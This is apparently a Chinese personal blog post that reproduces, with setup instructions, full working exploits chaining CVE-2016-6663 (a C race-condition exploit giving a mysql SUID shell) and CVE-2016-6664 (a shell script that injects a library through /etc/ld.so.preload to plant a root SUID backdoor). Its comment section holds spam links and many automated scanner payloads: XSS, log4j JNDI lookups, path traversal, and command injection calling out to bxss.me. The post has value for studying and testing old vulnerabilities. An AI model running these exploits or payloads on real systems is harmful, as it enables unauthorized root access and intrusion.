首先可以用下面的mysqlpoc.c将当前普通用户提权到mysql用户组权限, 这里我改了tmp目录为data目录,因为看readme里面写了redhat-base 系统tmp目录无法成功。所以测试的时候先在根目录创建/data目录,再给777权限,命令如下。
mkdir /data
chmod 777 /data
mysqlpoc.c
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/data/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {
if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare data dir
printf("\n[+] Creating exploit temp directory %s\n", "/data/" EXP_DIRN);
umask(000);
system("rm -rf /data/" EXP_DIRN " && mkdir /data/" EXP_DIRN);
system("chmod g+s /data/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}
编译上面c文件,可以直接git clone我的github, 然后make就行,编译报错可能是没有安装mysql-devel包。执行之后我们可以得到一个shell,whoami一下可以看到是mysql,我们已经具备了mysql用户权限。

然后通过ps aux | grep mysql找到mysql错误日志目录,执行下面的shell脚本获取root
poc.sh
#!/bin/bash -p
#
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.0)
#
# CVE-2016-6664 / OCVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# http://legalhackers.com
#
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / OCVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log
#
# See full advisory for details at:
#
# http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
cleanexit 0
}
#intro
echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
echo -e "Got it. Executing 'killall mysqld' now..."
killall mysqld
fi
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
#while :; do
# sleep 0.1
# ps aux | grep mysqld | grep -q 'log-error'
# if [ $? -eq 0 ]; then
# break;
# fi
#done
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p
# Job done.
cleanexit 0
这是我测试成功的图

mysql用户组权限对于mysql 错误日志目录必须具备w权限,我测试的机器mysql通过yum安装,默认日志目录的属主和用户组是root,其他用户对这个目录只有rx权限,所以我是手动添加的w权限才成功, 可能大家会觉得鸡肋,但是有dba的公司一般会手动指定log目录,所以是否具备w权限真不一定
评论
Strange lumps under my left armpit.? | Yahoo Respostas <a href=http://armpit.info/what-does-a-small-hard-lump-under-armpit-mean/>small hard lump under armpit</a>
博客 firebroo的个人网站 <a href="http://www.g4ft489zsj417m48xc53posd2r05zl00s.org/">abxxqewied</a> bxxqewied http://www.g4ft489zsj417m48xc53posd2r05zl00s.org/ [url=http://www.g4ft489zsj417m48xc53posd2r05zl00s.org/]ubxxqewied[/url]
博客 firebroo的个人网站 <a href="http://www.gi73kl4u59o96x1b3k80ei5qld2wj521s.org/">alxxgtcqyd</a> lxxgtcqyd http://www.gi73kl4u59o96x1b3k80ei5qld2wj521s.org/ [url=http://www.gi73kl4u59o96x1b3k80ei5qld2wj521s.org/]ulxxgtcqyd[/url]
博客 firebroo的个人网站 byjtrfwbql http://www.g38u02l54w47hnr83d59fc644rebb3ars.org/ <a href="http://www.g38u02l54w47hnr83d59fc644rebb3ars.org/">abyjtrfwbql</a> [url=http://www.g38u02l54w47hnr83d59fc644rebb3ars.org/]ubyjtrfwbql[/url]
<esi:include src="http://bxss.me/rpb.png"/>
${9999115+9999377}
EQ2mLGA8
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
${j${::-n}di:dns${::-:}//hitwficfdnfrn325d7${::-.}bxss.me}zzzz
Http://bxss.me/t/fit.txt
response.write(9669489*9682979)
&n990416=v922502
'+response.write(9669489*9682979)+'
bxss.me
http://bxss.me/t/fit.txt?.jpg
"+response.write(9669489*9682979)+"
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-7163..49981${::-.}1${::-.}bxss.me}}
!(()&&!|*|*|
echo evbocb$()\ hpsivn\nz^xyu||a #' &echo evbocb$()\ hpsivn\nz^xyu||a #|" &echo evbocb$()\ hpsivn\nz^xyu||a #
&echo lupueq$()\ qhucnk\nz^xyu||a #' &echo lupueq$()\ qhucnk\nz^xyu||a #|" &echo lupueq$()\ qhucnk\nz^xyu||a #
^(#$!@#$)(()))******
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
|echo rvxivz$()\ merzlg\nz^xyu||a #' |echo rvxivz$()\ merzlg\nz^xyu||a #|" |echo rvxivz$()\ merzlg\nz^xyu||a #
(nslookup hitmgucuftlps4bdfe.bxss.me||perl -e "gethostbyname('hitmgucuftlps4bdfe.bxss.me')")
/xfs.bxss.me
'.gethostbyname(lc('hitix'.'bcowkpbl2d347.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(67).chr(122).chr(87).'
';print(md5(31337));$a='
$(nslookup hitriuihbcntce614e.bxss.me||perl -e "gethostbyname('hitriuihbcntce614e.bxss.me')")
".gethostbyname(lc("hitfm"."woxkjyrg39359.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(90).chr(106).chr(78)."
";print(md5(31337));$a="
${@print(md5(31337))}
&(nslookup hitmmzkjtvqbs3fc63.bxss.me||perl -e "gethostbyname('hitmmzkjtvqbs3fc63.bxss.me')")&'\"`0&(nslookup hitmmzkjtvqbs3fc63.bxss.me||perl -e "gethostbyname('hitmmzkjtvqbs3fc63.bxss.me')")&`'
${@print(md5(31337))}\
ctime sleep p0 (I30 tp1 Rp2 .
|(nslookup hititawrbyycx60e51.bxss.me||perl -e "gethostbyname('hititawrbyycx60e51.bxss.me')")
'.print(md5(31337)).'
1YQf0stzO
`(nslookup hitsajsykvyjyb7677.bxss.me||perl -e "gethostbyname('hitsajsykvyjyb7677.bxss.me')")`
comments
"+"A".concat(70-3).concat(22*4).concat(118).concat(90).concat(120).concat(87)+(require"socket" Socket.gethostbyname("hitih"+"kcjhahia8167d.bxss.me.")[3].to_s)+"
comments/.
'+'A'.concat(70-3).concat(22*4).concat(116).concat(81).concat(104).concat(76)+(require'socket' Socket.gethostbyname('hitsn'+'ctpvivau3ca5b.bxss.me.')[3].to_s)+'
HttP://bxss.me/t/xss.html?%00
'"()&%<acx><ScRiPt >3wMQ(9110)</ScRiPt>
bxss.me/t/xss.html?%00
'"()&%<acx><ScRiPt >3wMQ(9780)</ScRiPt>
9575298
acu6391<s1﹥s2ʺs3ʹuca6391
<%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
<ScRiPt >3wMQ(9033)</ScRiPt>
<WOGZIM>IIMNB[!+!]</WOGZIM>
<script>3wMQ(9966)</script>
<ScR<ScRiPt>IpT>3wMQ(9019)</sCr<ScRiPt>IpT>
<ScRiPt >3wMQ(9285)</ScRiPt>
<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9281></ScRiPt>
<isindex type=image src=1 onerror=3wMQ(9578)>
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9812'>
<body onload=3wMQ(9819)>
<img src=//xss.bxss.me/t/dot.gif onload=3wMQ(9177)>
<img src=xyz OnErRor=3wMQ(9403)>
<img/src=">" onerror=alert(9876)>
%0A%3C%53%63%52%69%50%74%20%3E%33%77%4D%51%289676%29%3C%2F%73%43%72%69%70%54%3E
\u003CScRiPt\3wMQ(9978)\u003C/sCripT\u003E
<ScRiPt>3wMQ(9186)</sCripT>
<input autofocus onfocus=3wMQ(9951)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
}body{acu:Expre/**/SSion(3wMQ(9031))}
34sMW <ScRiPt >3wMQ(9053)</ScRiPt>
<WOIUIN>GYAC2[!+!]</WOIUIN>
<ifRAme sRc=9376.com></IfRamE>
<aHTI1VR x=9567>
<img sRc='http://attacker-9090/log.php?
<a83oTA1<
nishi?
nishishei
博客 firebroo的个人网站 <a href="http://www.gaqm5780r35g553otx914koz9egaa279s.org/">aljsyilw</a> [url=http://www.gaqm5780r35g553otx914koz9egaa279s.org/]uljsyilw[/url] ljsyilw http://www.gaqm5780r35g553otx914koz9egaa279s.org/
博客 firebroo的个人网站 <a href="http://www.g0bgyjax57z354918p7y840nzuw3q4v8s.org/">azvdcsrkht</a> [url=http://www.g0bgyjax57z354918p7y840nzuw3q4v8s.org/]uzvdcsrkht[/url] zvdcsrkht http://www.g0bgyjax57z354918p7y840nzuw3q4v8s.org/
Metabolic Freedom delivers a step-by-step plan to break free from metabolic dysfunction for good. https://metabolicfreedom.top/ metabolic freedom diet plan
Si justificas su indiferencia, necesitas leer esto. Descarga gratis https://lasmujeresqueamandemasiadopdf.cyou/ cartas de las mujeres que aman demasiado pdf
If you crave high-stakes fantasy with a romantic core, this is it. The Fourth Wing PDF is available for easy download. Join the adventure and see why this book is a global bestseller. https://fourthwingpdf.top/ Books Like Fourth Wing
Iron Flame burns bright for fans! Rebecca Yarros' sequel sparkles with action and emotion. PDF free at ironflamepdf.top – dive in! https://ironflamepdf.top/ Iron Flame Pdf Download Free Download
This forward makes you scream, and you can lead the PDF. It is a go. The digital file is move. walk and run. https://youcanscreampdf.top/ Rebecca Zanetti You Can Scream Epub Free
Enjoy the story that never lets you go with the digital edition. The PDF of It Should Have Been You is waiting. It should have been you hooked on this book. Get the file today and read. https://itshouldhavebeenyoupdf.top/ It Should Have Been You Mobi
The Anatomy of an Alibi PDF way. Download file. mobile PC. https://anatomyofanalibipdf.top/ Anatomy Of An Alibi Summary